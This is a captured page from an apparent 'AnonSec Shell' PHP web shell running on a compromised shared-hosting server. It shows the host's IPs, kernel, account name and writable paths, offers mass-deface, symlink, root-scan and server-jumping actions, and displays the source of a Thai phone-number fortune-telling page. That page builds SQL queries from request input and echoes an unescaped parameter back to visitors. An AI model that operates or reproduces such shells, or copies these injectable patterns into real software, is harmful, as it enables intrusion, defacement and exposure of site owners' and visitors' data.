AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/cp648411/public_html/simded.com/themesv2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cp648411/public_html/simded.com/themesv2/predictber_EDIT.php
<?php if($_GET['phonenumber'] <> ''){	?>

	<style>
		.tb_rd{ max-width:649px;border:0px solid #F00;}
		.tb_rd1{
			border:2px solid #c8ac52;
			border-bottom:0px solid #c8ac52;
			width: 100%;
			height: 115px;
			background-position: center;
			background-repeat: no-repeat;
			background-size: cover;
			color:#FFF;font-size:70px;
			text-shadow: 0.1em 0.1em 0.2em black;text-align:center;
		}
		.text_idcard{ font-size:60px;padding-top:15px;}
		@media (max-width: 600px) { .text_idcard{ font-size:46px;padding-top:25px;}  }
		@media (max-width: 414px) { .tb_rd1{font-size:46px;padding-top:30px;}.text_idcard{ font-size:36px;padding-top:35px;}  }
		@media (max-width: 384px) { .tb_rd1{font-size:38px;padding-top:30px;}.text_idcard{ font-size:30px;padding-top:35px;} }
		@media (max-width: 375px) { .tb_rd1{font-size:38px;padding-top:30px;}.text_idcard{ font-size:30px;padding-top:35px;} }
		@media (max-width: 320px) { .tb_rd1{font-size:34px;padding-top:30px;}.text_idcard{ font-size:26px;padding-top:35px;} }
			.tb_rd2{border:2px solid #c8ac52;border-bottom:0px solid #c8ac52;padding:20px;text-align:left;font-weight:bold;min-height:60px;}
			.tb_rd3{border:2px solid #c8ac52;border-left:0px solid #c8ac52;border-bottom:0px solid #c8ac52;padding:20px;font-weight:bold;text-align:left;min-height:60px;}
			.t_percent{font-size:80px;}
		@media (max-width: 768px) {
			.t_percent{font-size:60px;}
			.tb_mobile{padding:0px;height:auto;}
		}
		.tb_rd4{border:2px solid #c8ac52;padding:20px;text-align:left;font-weight:bold;min-height:60px;}
		.tb_rd5{border:2px solid #c8ac52;border-left:0px solid #c8ac52;padding:10px;color:#F00;font-weight:bold;text-align:left;font-size:14px;min-height:60px;}
		.tbrd_c{ text-align:center;}
		@media (max-width: 768px) {
			.tb_rd2{border:2px solid #c8ac52;border-bottom:0px solid #c8ac52;}
			.tb_rd3{border:2px solid #c8ac52;border-left:2px solid #c8ac52;border-bottom:0px solid #c8ac52;}
			.tb_rd4{border:2px solid #c8ac52;border-bottom:0px solid #c8ac52;}
			.tb_rd5{border:2px solid #c8ac52;border-left:2px solid #c8ac52;}
		}

	</style>

  <div class="container pt-3">
    <div class="row d-flex justify-content-center">
      <div class="col">
        <p class="HeadTextL text-center mb-0 text-light"> ผลการทำนายจากหมายเลข </p>
      </div>
    </div>
  </div>

  <?php
  $pho_len2 = strlen($_GET['phonenumber']);
  if($pho_len2 > 10){
   for($ct=0;$ct<$pho_len2;$ct++){
     if(is_numeric($phonenumber[$ct])){
       if(@$val2 == ''){
         $val2 = $phonenumber[$ct];
       }else{
         $val2 = $val2.$phonenumber[$ct];
       }
     }
   }$phonenumber = $val2;
  }else{$phonenumber = $_GET['phonenumber'];}

  $pho_len = strlen($phonenumber);
  if($_GET['type']== 'mobile')
  {
   if($pho_len == 10)
   {
      $position = $Phone_class->phonenumber($phonenumber);
      $number_total = $Phone_class->number_total($phonenumber);
      $number_weight = $Phone_class->number_weight('mobile',$phonenumber);
   }
  }
  if($_GET['type']== 'idcard')
  {
   if($pho_len == 13)
   {
      $position = $Phone_class->idcard($phonenumber);
      $number_total = $Phone_class->number_total($phonenumber);
      $number_weight = $Phone_class->number_weight('idcard',$phonenumber);
   }
  }
  if($_GET['type'] == 'homenumber' || $_GET['type']== 'licenseplate')
  {
    $position = $phonenumber;
    $strlen_numeric =  $Phone_class->strlen_numeric($phonenumber);
    $number_total = $Phone_class->number_total($strlen_numeric);
    $number_weight = $Phone_class->number_weight('another',$strlen_numeric);
  }
  ?>
  <?php
if($phonenumber <> '')
{
    if($_GET['type']== 'mobile')
    {
      if($pho_len == 10)
      {
        $arrnum = $Phone_class->readingber($phonenumber);
      }
    }
    if($_GET['type']== 'idcard')
    {
      if($pho_len == 13)
      {
          $arrnum = $Phone_class->readingidcard($phonenumber);
      }
    }
    if($_GET['type'] == 'homenumber' || $_GET['type']== 'licenseplate')
    {
       $arrnum =  $Phone_class->ck_numeric($phonenumber);
    }

    $Fullscore = 100 * count($arrnum);
   // $Fullscore =  count($arrnum);

    $arrnum_un = array_unique ($arrnum);

    foreach( $arrnum_un as $value )
    {
      $list = array('table'=>'meaningnumber','where'=>'number LIKE "%'.$value.'%"');
      $view = $view_db->view($list);
      $row = $view_db->q($view);

      $total_read =  $total_read + $row['score'];
      $detail = $detail . '<p style="text-indent: 40px;">'.$row['detail'].'</p>';

      $arr_score[$value] = $row['score'];
    }
    foreach( $arrnum as $value )
    {
      $list_cs = array('table'=>'category_score','where'=>'number = "'.$value.'"');
      $view_cs = $view_db->view($list_cs);
      $row_cs = $view_db->q($view_cs);

      $arr_cs['lucky'] =  $arr_cs['lucky'] + $row_cs['lucky'];
      $arr_cs['work'] =  $arr_cs['work'] + $row_cs['work'];
      $arr_cs['love'] =  $arr_cs['love'] + $row_cs['love'];
      $arr_cs['money'] =  $arr_cs['money'] + $row_cs['money'];
      $arr_cs['education'] =  $arr_cs['education'] + $row_cs['education'];
      $arr_cs['health'] =  $arr_cs['health'] + $row_cs['health'];


    }
    $num_arrnum =  count($arrnum);

    $Fullscore_cat = 5 * $num_arrnum;

    $sum = ($total_read*100)/$Fullscore;

    if($sum <= 40){ $txt_sum = 'กลุ่มเลขนี้จัดอยู่ในเกณฑ์ที่แย่ สมควรหนุนดวงด้วยเบอร์ดี เบอร์มงคลอย่างยิ่ง';}
    if($sum >= 41 && $sum <= 65){ $txt_sum = 'กลุ่มเลขนี้ยังมีตัวเลขที่ไม่ดีอยู่ การเพิ่มเบอร์หนุนดวงขึ้นอยู่กับวิจารณญาณของผู้รับการทำนาย';}
    if($sum >= 66 && $sum <= 85){ $txt_sum = 'กลุ่มเลขนี้อยู่ในเกณฑ์ที่ดี ถ้าเปลี่ยนเบอร์เพื่อหนุนดวง ควรหาเบอร์ที่เหมาะสมกับดวงของท่านให้มากขึ้น';}
    if($sum >= 86){ $txt_sum = 'กลุ่มเลขนี้อยู่ในเกณฑ์ที่ดีมาก ขึ้นอยู่กับดวงเกิดของแต่ละบุคคลและการนำไปใช้งาน';}
     ?>

     <style media="screen">
     /*
     ดีมาก #d4a308
     ดี #04842e;
     ปานกลาง #ffc601
     ต่ำ #e71219
     */

     .btn-pre-sim {
         color: #000;
         background-color: #ffd15d;
         border-color: #ffd15d;
     }
     .bg-pre-sim{background-color: #ffd15d;}
     .border-pre-sim{border: 2px solid #d4a809;}
   
     .small-ss{font-size: .675em;}
     .toback{filter: invert(1);}
     .text-shadow-sim{text-shadow: 0.1em 0.1em 0.2em black;}


     </style>
     <?php
     if($sum >= 0){
       if($sum >= 76){ ?>
         <style media="screen">
         .btn-pre-sim {background-color: #d4a308; border-color: #d4a308;}
         .bg-pre-sim{background-color: #d4a308;}
         .border-pre-sim{border: 2px solid #d4a308;}
         .border-pre-bottom-sim{border: 2px solid #d4a308;}
         .bg-pre-img-sim{background-image:url(../images/bg_r1.jpg);background-position-y: 100%;background-size: cover;}
         </style>
       <?php  }else if($sum >= 51 && $sum <= 75){ ?>
         <style media="screen">
         .btn-pre-sim {background-color: #04842e; border-color: #04842e;}
         .bg-pre-sim{background-color: #04842e;}
         .border-pre-sim{border: 2px solid #04842e;}
         .border-pre-bottom-sim{border: 2px solid #04842e;}
         .bg-pre-img-sim{background-image:url(../images/bg_r2.jpg);background-position-y: 100%;background-size: cover;}

         </style>
       <?php }else if($sum >= 31 && $sum <= 50){ ?>
         <style media="screen">
         .btn-pre-sim {background-color: #ffc601; border-color: #ffc601;}
         .bg-pre-sim{background-color: #ffc601;}
         .border-pre-sim{border: 2px solid #ffc601;}
         .border-pre-bottom-sim{border: 2px solid #ffc601;}
         .bg-pre-img-sim{background-image:url(../images/bg_r21.jpg);background-position-y: 100%;background-size: cover;}

         </style>
       <?php  }else if($sum >= 0 && $sum <= 30){ ?>
         <style media="screen">
         .btn-pre-sim {background-color: #e71219; border-color: #e71219;}
         .bg-pre-sim{background-color: #e71219;}
         .border-pre-sim{border: 2px solid #e71219;}
         .border-pre-bottom-sim{border: 2px solid #e71219;}
         .bg-pre-img-sim{background-image:url(../images/bg_r42.jpg);background-position-y: 100%;background-size: cover;}

         </style>
       <?php  }
     }else{
       $sum2 = abs($sum);
       if($sum2 >= 51){ ?>
         <style media="screen">
         .btn-pre-sim {background-color: #e71219; border-color: #e71219;}
         .bg-pre-sim{background-color: #e71219;}
         .border-pre-sim{border: 2px solid #e71219;}
         .border-pre-bottom-sim{border: 2px solid #e71219;}
         .bg-pre-img-sim{background-image:url(../images/bg_r7.jpg);background-position-y: 100%;background-size: cover;}

         </style>
       <?php }else if($sum2  >= 26 && $sum2  <= 50){ ?>
         <style media="screen">
         .btn-pre-sim {background-color: #e71219; border-color: #e71219;}
         .bg-pre-sim{background-color: #e71219;}
         .border-pre-sim{border: 2px solid #e71219;}
         .border-pre-bottom-sim{border: 2px solid #e71219;}
         .bg-pre-img-sim{background-image:url(../images/bg_r6.jpg);background-position-y: 100%;background-size: cover;}

         </style>
       <?php }else if($sum2  >= 1 && $sum2  <= 25){ ?>
         <style media="screen">
         .btn-pre-sim {background-color: #e71219; border-color: #e71219;}
         .bg-pre-sim{background-color: #e71219;}
         .border-pre-sim{border: 2px solid #e71219;}
         .border-pre-bottom-sim{border: 2px solid #e71219;}
         .bg-pre-img-sim{background-image:url(../images/bg_r5.jpg);background-position-y: 100%;background-size: cover;}

         </style>
       <?php  } ?>
     <?php } ?>


  <div class="container mt-3 <?php if($_GET['type']== 'idcard'){?>text_idcard<?php } ?>">
    <div class="row align-items-center justify-content-center">
      <div class="col-12 col-md-10 col-lg-7 px-1 mb-3 " style="height: 80px;">
        <div class="btn btn-pre-sim bg-pre-img-sim w-100 h-100 align-items-center d-flex justify-content-center rounded-sim2 text-light">
          <p class="HeadTextXXL text-center mb-0 text-shadow-sim fw-bold text-spacing-md" 
          style="color: rgb(255 255 255);
          -webkit-text-fill-color: rgb(255 255 255); 
          text-decoration: none !important;
          -webkit-text-decoration: none !important;
          "
          > <?php echo $position; ?> </p>
        </div>
      </div>
      <div class="col-12 col-md-2 px-1 mb-3" style="height: 80px;">
        <div class="btn btn-pre-sim w-100 h-100 justify-content-center rounded-sim2 text-light d-flex align-items-center">
          <p class="mb-0 fs-4 fw-bold text-spacing-md">ผลรวม</p>
          <p class="HeadTextXL text-center fw-bold text-spacing-md ps-2 mb-0"> <?php echo $number_total;?> </p>
        </div>
      </div>
    </div>
  </div>

  <div class="container mt-3">
    <div class="row justify-content-center">
      <div class="col-12 col-md-6 border-pre-sim rounded-sim2 p-3 py-xxl-2 text-light">
        <div class="row mb-lg-2">
          <div class="col-5">
            <h3 class="mb-0">คะแนน</h3>
            <small>(คิดเป็นเปอร์เซ็น)</small>
          </div>
          <div class="col-7 ps-0">
            <h1><?php echo number_format($sum, 2, '.', ''); ?>%</h1>

          </div>
        </div>
        <div class="border-pre-bottom-sim"></div>
        <div class="row">
          <div class="col-5">
            <h4 class="pt-2 mt-1">อยู่ในหมวด :</h4>
          </div>
          <div class="col-7 ps-0">
            <h3 class="pt-2 mt-1">
              <?php
                arsort($arr_score);
                $i=1;
                foreach($arr_score as $Key => $value)
                {
                  if($i==1)
                  {
                    $list_cat = array('table'=>'meaningnumber','where'=>'number LIKE  "%'.$Key.'%"');
                    $view_cat = $view_db->view($list_cat);
                    $row_cat = $view_db->q($view_cat);
                  }
                  $i++;
                }
              ?>
              <?php echo $row_cat['title']; ?>
            </h3>

          </div>
        </div>


      </div>

      <div class="col-12 col-md-6 col-lg-3" >
        <div class=" d-block d-md-none" style="transform: rotate(-90deg);margin-left: 0px;margin-top: -50%;">
          <div class="col mb-4">
            <?php

              $score_cat =  $arr_cs['money']*100;
              $score_cat_m = $score_cat / $Fullscore_cat;

              //$score_cat_m = ($arr_cs['money'] * 100)/$sum;
              //$score_cat_m = $score_cat ;
              $Phone_class->reading_cat_star($score_cat);

            ?>
            <div class="progress rounded-pill" style=" width:140px; height: 30px;">
              <div class="progress-bar bg-pre-sim" role="progressbar" aria-valuenow="<?php   echo $score_cat_m; ?>" aria-valuemin="0" aria-valuemax="100"
              style="width: <?php   echo $score_cat_m; ?>%;">
              </div>
              <img src="../images/icon_coins.png" alt="" class="mt-1 ms-1 position-absolute toback" alt="" width="20" height="20" style="transform: rotate(90deg);">
            </div>
            <small class="position-absolute small-ss text-light" style="transform: rotate(90deg);margin-top: -24px;margin-left: -34px;">การเงิน</small>
          </div>
          <div class="col mb-4">
            <?php
              $score_cat =  $arr_cs['work']*100;
              $score_cat_w = $score_cat / $Fullscore_cat;
              //$score_cat_w = ($arr_cs['work']* 100)/$sum;
              //$score_cat_w = $score_cat;
              $Phone_class->reading_cat_star($score_cat);
            ?>
            <div class="progress rounded-pill" style=" width:140px; height: 30px;">
              <div class="progress-bar bg-pre-sim" role="progressbar" aria-valuenow="<?php   echo $score_cat_w; ?>" aria-valuemin="0" aria-valuemax="100"
              style="width: <?php   echo $score_cat_w; ?>%;">
              </div>
              <img src="../images/icon_work2.png" alt="" class="mt-1 ms-1 position-absolute toback" alt="" width="20" height="20" style="transform: rotate(90deg);">
            </div>
            <small class="position-absolute small-ss text-light" style="transform: rotate(90deg);margin-top: -24px;margin-left: -34px;">การงาน</small>
          </div>
          <div class="col mb-4">
            <?php
              $score_cat =  $arr_cs['love']*100;
              $score_cat_lo = $score_cat / $Fullscore_cat;
              //$score_cat_lo = ($arr_cs['love']* 100)/$sum;

              $Phone_class->reading_cat_star($score_cat);
            ?>
            <div class="progress rounded-pill" style=" width:140px; height: 30px;">
              <div class="progress-bar bg-pre-sim" role="progressbar" aria-valuenow="<?php echo $score_cat_lo; ?>" aria-valuemin="0" aria-valuemax="100"
              style="width: <?php   echo $score_cat_lo; ?>%;">
              </div>
              <img src="../images/icon_hearts.png" alt="" class="mt-1 ms-1 position-absolute toback" alt="" width="20" height="20" style="transform: rotate(90deg);">
            </div>
            <small class="position-absolute small-ss text-light" style="transform: rotate(90deg);margin-top: -24px;margin-left: -34px;">ความรัก</small>
          </div>
          <div class="col mb-4">
            <?php
             $score_cat =  $arr_cs['lucky']*100;
             $score_cat_l = $score_cat / $Fullscore_cat;
             //$score_cat_l = ($arr_cs['lucky']* 100)/$sum;
             $Phone_class->reading_cat_star($score_cat);
            ?>
            <div class="progress rounded-pill" style=" width:140px; height: 30px;">
              <div class="progress-bar bg-pre-sim" role="progressbar" aria-valuenow="<?php   echo $score_cat_l; ?>" aria-valuemin="0" aria-valuemax="100"
              style="width: <?php   echo $score_cat_l; ?>%;">
              </div>
              <img src="../images/icon_luck.png" alt="" class="mt-1 ms-1 position-absolute toback" alt="" width="20" height="20" style="transform: rotate(90deg);">
            </div>
            <small class="position-absolute small-ss text-light" style="transform: rotate(90deg);margin-top: -24px;margin-left: -36px;">โชคลาภ</small>
          </div>
          <div class="col mb-4">
            <?php
              $score_cat =  $arr_cs['education']*100;
              $score_cat_e = $score_cat / $Fullscore_cat;
              //$score_cat_e = ($arr_cs['education']* 100)/$sum;

              $Phone_class->reading_cat_star($score_cat);
             ?>
            <div class="progress rounded-pill" style=" width:140px; height: 30px;">
              <div class="progress-bar bg-pre-sim" role="progressbar" aria-valuenow="<?php   echo $score_cat_e; ?>" aria-valuemin="0" aria-valuemax="100"
              style="width: <?php   echo $score_cat_e; ?>%;">
              </div>
              <img src="../images/icon_books.png" alt="" class="mt-1 ms-1 position-absolute toback" alt="" width="20" height="20" style="transform: rotate(90deg);">
            </div>
            <small class="position-absolute small-ss text-light" style="transform: rotate(90deg);margin-top: -24px;margin-left: -39px;">การศึกษา</small>
          </div>
          <div class="col mb-4">
            <?php
            $score_cat =  $arr_cs['health']*100;
            $score_cat_h = $score_cat / $Fullscore_cat;
            //$score_cat_h = ($arr_cs['health']* 100)/$sum;
            //$score_cat_h = $score_cat;
            $Phone_class->reading_cat_star($score_cat);

            ?>
            <div class="progress rounded-pill" style=" width:140px; height: 30px;">
              <div class="progress-bar bg-pre-sim" role="progressbar" aria-valuenow="<?php   echo $score_cat_h; ?>" aria-valuemin="0" aria-valuemax="100"
                style="width: <?php   echo $score_cat_h; ?>%;">
              </div>
              <img src="../images/icon_health.png" class="mt-1 ms-1 position-absolute toback" alt="" width="20" height="20" style="transform: rotate(90deg);">
            </div>
            <small class="position-absolute small-ss text-light" style="transform: rotate(90deg);margin-top: -24px;margin-left: -34px;">สุขภาพ</small>
          </div>


        </div>
        <div class=" position-absolute d-none d-md-block text-light" style="transform: rotate(-90deg);margin-left: 100px;margin-top: -90px;">
          <div class="col mb-4">
            <?php
              $score_cat =  $arr_cs['money']*100;
              $score_cat_m = $score_cat / $Fullscore_cat;
              //$score_cat_m = ($arr_cs['money'] * 100)/$sum;
               $Phone_class->reading_cat_star($score_cat);
            ?>
            <div class="progress rounded-pill" style=" width:140px; height: 30px;">
              <div class="progress-bar bg-pre-sim" role="progressbar" aria-valuenow="<?php   echo $score_cat_m; ?>" aria-valuemin="0" aria-valuemax="100"
              style="width: <?php   echo $score_cat_m; ?>%;">
              </div>
              <img src="../images/icon_coins.png" alt="" class="mt-1 ms-1 position-absolute toback" alt="" width="20" height="20" style="transform: rotate(90deg);">
            </div>
            <small class="position-absolute small-ss text-light" style="transform: rotate(90deg);margin-top: -24px;margin-left: -34px;">การเงิน</small>
          </div>
          <div class="col mb-4">
            <?php
              $score_cat =  $arr_cs['work']*100;
              $score_cat_w = $score_cat / $Fullscore_cat;
              //$score_cat_w = ($arr_cs['work']* 100)/$sum;
              $Phone_class->reading_cat_star($score_cat);
            ?>
            <div class="progress rounded-pill" style=" width:140px; height: 30px;">
              <div class="progress-bar bg-pre-sim" role="progressbar" aria-valuenow="<?php   echo $score_cat_w; ?>" aria-valuemin="0" aria-valuemax="100"
              style="width: <?php   echo $score_cat_w; ?>%;">
              </div>
              <img src="../images/icon_work2.png" alt="" class="mt-1 ms-1 position-absolute toback" alt="" width="20" height="20" style="transform: rotate(90deg);">
            </div>
            <small class="position-absolute small-ss text-light" style="transform: rotate(90deg);margin-top: -24px;margin-left: -34px;">การงาน</small>
          </div>
          <div class="col mb-4">
            <?php
              $score_cat =  $arr_cs['love']*100;
              $score_cat_lo = $score_cat / $Fullscore_cat;
              //$score_cat_lo = ($arr_cs['love']* 100)/$sum;
              $Phone_class->reading_cat_star($score_cat);
            ?>
            <div class="progress rounded-pill" style=" width:140px; height: 30px;">
              <div class="progress-bar bg-pre-sim" role="progressbar" aria-valuenow="<?php echo $score_cat_lo; ?>" aria-valuemin="0" aria-valuemax="100"
              style="width: <?php   echo $score_cat_lo; ?>%;">
              </div>
              <img src="../images/icon_hearts.png" alt="" class="mt-1 ms-1 position-absolute toback" alt="" width="20" height="20" style="transform: rotate(90deg);">
            </div>
            <small class="position-absolute small-ss text-light" style="transform: rotate(90deg);margin-top: -24px;margin-left: -34px;">ความรัก</small>
          </div>
          <div class="col mb-4">
            <?php
             $score_cat =  $arr_cs['lucky']*100;
             $score_cat_l = $score_cat / $Fullscore_cat;
             //$score_cat_l = ($arr_cs['lucky']* 100)/$sum;
             $Phone_class->reading_cat_star($score_cat);
            ?>
            <div class="progress rounded-pill" style=" width:140px; height: 30px;">
              <div class="progress-bar bg-pre-sim" role="progressbar" aria-valuenow="<?php   echo $score_cat_l; ?>" aria-valuemin="0" aria-valuemax="100"
              style="width: <?php   echo $score_cat_l; ?>%;">
              </div>
              <img src="../images/icon_luck.png" alt="" class="mt-1 ms-1 position-absolute toback" alt="" width="20" height="20" style="transform: rotate(90deg);">
            </div>
            <small class="position-absolute small-ss text-light" style="transform: rotate(90deg);margin-top: -24px;margin-left: -36px;">โชคลาภ</small>
          </div>
          <div class="col mb-4">
            <?php
              $score_cat =  $arr_cs['education']*100;
              $score_cat_e = $score_cat / $Fullscore_cat;
              //$score_cat_e = ($arr_cs['education']* 100)/$sum;
              $Phone_class->reading_cat_star($score_cat);
             ?>
            <div class="progress rounded-pill" style=" width:140px; height: 30px;">
              <div class="progress-bar bg-pre-sim" role="progressbar" aria-valuenow="<?php   echo $score_cat_e; ?>" aria-valuemin="0" aria-valuemax="100"
              style="width: <?php   echo $score_cat_e; ?>%;">
              </div>
              <img src="../images/icon_books.png" alt="" class="mt-1 ms-1 position-absolute toback" alt="" width="20" height="20" style="transform: rotate(90deg);">
            </div>
            <small class="position-absolute small-ss text-light" style="transform: rotate(90deg);margin-top: -24px;margin-left: -39px;">การศึกษา</small>
          </div>
          <div class="col mb-4">
            <?php
            $score_cat =  $arr_cs['health']*100;
            $score_cat_h = $score_cat / $Fullscore_cat;
            //$score_cat_h = ($arr_cs['health']* 100)/$sum;
            $Phone_class->reading_cat_star($score_cat);

            ?>
            <div class="progress rounded-pill" style=" width:140px; height: 30px;">
              <div class="progress-bar bg-pre-sim" role="progressbar" aria-valuenow="<?php   echo $score_cat_h; ?>" aria-valuemin="0" aria-valuemax="100"
                style="width: <?php   echo $score_cat_h; ?>%;">
              </div>
              <img src="../images/icon_health.png" class="mt-1 ms-1 position-absolute toback" alt="" width="20" height="20" style="transform: rotate(90deg);">
            </div>
            <small class="position-absolute small-ss text-light" style="transform: rotate(90deg);margin-top: -24px;margin-left: -34px;">สุขภาพ</small>
          </div>


        </div>

      </div>
    </div>
  </div>
  <style media="screen">
    @media (min-width: 380px) and (max-width: 450px) {
      .pt-xai{padding-top: 1.5rem!important;}
    }
  </style>
  <div class="container mt-3 mt-md-5 text-spacing-md bold">
    <div class="row justify-content-center pt-xai">
      <div class="col-12 col-md-12 col-lg-9 border-pre-sim rounded-sim2 bg-pre-sim p-4 text-light  text-spacing-md bold">
        <div class="row">
          <div class="col-4">
            <h4 class="mb-0">น้ำหนักคำพยากรณ์</h4>
          </div>
          <div class="col-8">
            <h4 class="mb-0"><?php echo $number_weight; ?></h4>
          </div>
        </div>
        <div class="borber-bottom-white2  my-2"></div>
        <div class="row">
          <div class="col-4">
            <h4 class="mb-0">เบอร์นี้จัดอยู่ในระดับ</h4>
          </div>
          <div class="col-8">
            <h5 class="mb-0"><?php echo $txt_sum ?></h5>
          </div>
        </div>

      </div>

      <div class="col-12 col-md-12 col-lg-9 mt-3 text-center text-spacing-md bold text-light">
        <?php echo $detail;?>
      </div>
      <div class="col-12 col-md-12 col-lg-9 py-3 text-center">
        <p class="text-danger-sim text-spacing-md bold">(กลุ่มเลขดีหรือไม่ดีนั้น ส่วนหนึ่งอยู่ที่การนำไปใช้ กับงานที่เหมาะสมด้วย)</p>
      </div>
    </div>

    <div class="row">
  		<div class="col-me-12 ">
  			<div class="borber-bottom-sim1"></div>
  		</div>
  	</div>
  </div>
<!--id="reading_results1"-->




  <?php } ?>
<?php } ?>

Anon7 - 2022
AnonSec Team